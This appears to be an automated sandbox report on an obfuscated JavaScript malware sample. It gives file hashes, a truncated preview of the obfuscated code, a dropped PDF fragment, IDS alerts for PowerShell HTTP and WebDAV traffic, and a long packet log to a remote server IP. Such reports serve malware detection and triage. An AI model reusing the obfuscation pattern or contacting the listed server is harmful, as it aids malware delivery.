Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16050), with CRLF line terminators
Entropy (8bit):	4.90186827617176
TrID:
File name:	225008411339129134.js
File size:	19'397 bytes
MD5:	ce06c6de271d5e89ac8c434597a8e656
SHA1:	9c094c3ade006f3288b84361a492693bfc45f8ae
SHA256:	145b0c8a638fdfaca112ef951dd81c819a4330cd3a8ecdd23c5f3fb02fdfd0dd
SHA512:	cf61ddd2cb9a4ffcb6138f9fe62ca203c6b438ee0bb1a23eded5ce18bde5d3a4db29df9be8a85967c70f24f7ae7eae14bae4aeb2a09507d1522cd83f5fddfa40
SSDEEP:	384:ag/UWD9kEyZ3+xmcoTmVHNovmw+ggx11VFSTxcNRWwtx5h4LA3:VPklZ38mcoTmVtoOwhyVFNRW05h4U3
TLSH:	049263DB9A0D964BCDF9D9F8AF2448C7123901C847214C2DD4D62CAA3A17972F1F5CBA
File Content Preview:	function gwhtptg(){riugfnbj=[1031,3079,5127,4103,2055,3072];var ebkvhka=this[lqgpg+qwcndnxo+kyagdlv+hammaup+gtgxght+vkbuaqloa+xiphyik+ltnaip](this[ppgkjgyoi+kaujzsa+piwrk+kyagdlv+gqmfkksc+lqgpg+ltnaip][eellji+kyagdlv+gtgxght+qwcndnxo+ltnaip+gtgxght+rjojv+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:52:04.463655+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T20:52:06.956246+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:52:03.658443928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:03.663281918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:03.663402081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:03.666387081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:03.672054052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.463442087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.463488102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.463500977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.463618040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.463654995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.463741064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.463752985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.463764906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.463773966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.463778973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.463793039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.463807106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.463819981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.463891029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.463891029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.468504906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.517443895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.517461061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.517472982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.517699957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.588169098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.588203907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.588217974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.588253975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.588258028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.588274002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.588427067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.588586092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.588656902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.588668108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.588711023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.588711023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.589036942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.589054108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.589066029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.589085102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.589088917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.589126110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.589730024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.589745998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.589759111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.589770079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.589787006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.589818001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.589818001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.590527058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.590543985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.590558052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.590584040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.590806961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.604209900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.604224920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.604274988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.604295969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.604310036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.604412079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.643263102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.643280983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.644119978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.675045013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.675074100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.675841093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.713247061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.713335991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.713351965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.713361979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.713371992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.713383913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.713412046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.713480949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.713628054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.713665962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.713676929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.713716984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.713954926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.713975906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.713996887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.714009047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.714032888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.714032888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.714487076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.714507103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.714519024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.714529991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.714545965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.714550972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.714560032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.714741945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.715204954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.715224028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.715234995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.715248108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.715260983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.715269089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.715274096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.715287924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.715326071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.715326071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.715372086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.716073036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.716089010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.716099977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.716110945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.716121912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.716134071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.716145992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.716166973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.716218948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.717128992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.717142105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.717148066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.717159986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.717166901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.717173100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.717186928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.717190981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.717289925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.717792034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.717813015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.717818975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.717824936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.718033075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.761677980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.768574953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.768593073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.768659115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.768668890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.768678904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.768697023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.771035910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.800070047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.800081968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.800194025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.838444948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838468075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838479996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838490963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838502884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838514090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838526011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838617086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838629961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838634968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.838634968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.838660955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.838767052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838782072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838793039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838804007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838814020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.838840961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.839071035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839111090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.839159966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839171886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839190960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839202881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839204073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.839217901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839231014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839241028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839256048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.839256048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.839308977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.839771986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839788914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839799881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839811087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839823008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839837074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839848995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.839848995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.839849949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839862108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839874029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839884043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.839884996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839898109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839903116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.839914083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.839939117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.839973927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.840689898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840702057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840713978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840723991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840735912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840750933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.840754986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840768099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.840768099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840780973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840795994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840806007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840817928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840826035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.840828896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.840887070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.840887070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.841660976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841672897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841684103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841695070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841711044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841723919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841734886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841738939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.841738939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.841747999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841759920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841769934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841782093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.841782093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841782093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.841797113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.841849089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.841849089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.842561960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842576027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842586994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842597961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842607975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842613935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.842618942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842627048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842637062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842643976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.842652082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842664957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842674971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842680931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.842680931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.842688084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.842770100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.842770100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.843327045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.843341112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.843354940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.843429089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.847910881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.855360985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855382919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855395079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855415106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855427027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855437994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855448961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.855448961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855473042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.855565071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.855603933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855617046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855627060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855691910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855701923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.855711937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.855740070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.857307911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.870054007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.893358946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.893654108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.925156116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925190926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925204039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925225019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925237894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925245047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925251961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925271988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.925308943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925322056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925337076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925352097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.925353050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.925389051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925405979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.925452948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925466061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925481081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925493002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.925518990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.925590038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:52:04.963437080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963498116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963511944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963525057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963537931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963665962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:52:04.963687897 CET	80	49704	193.143.1.205	192.168.2.5
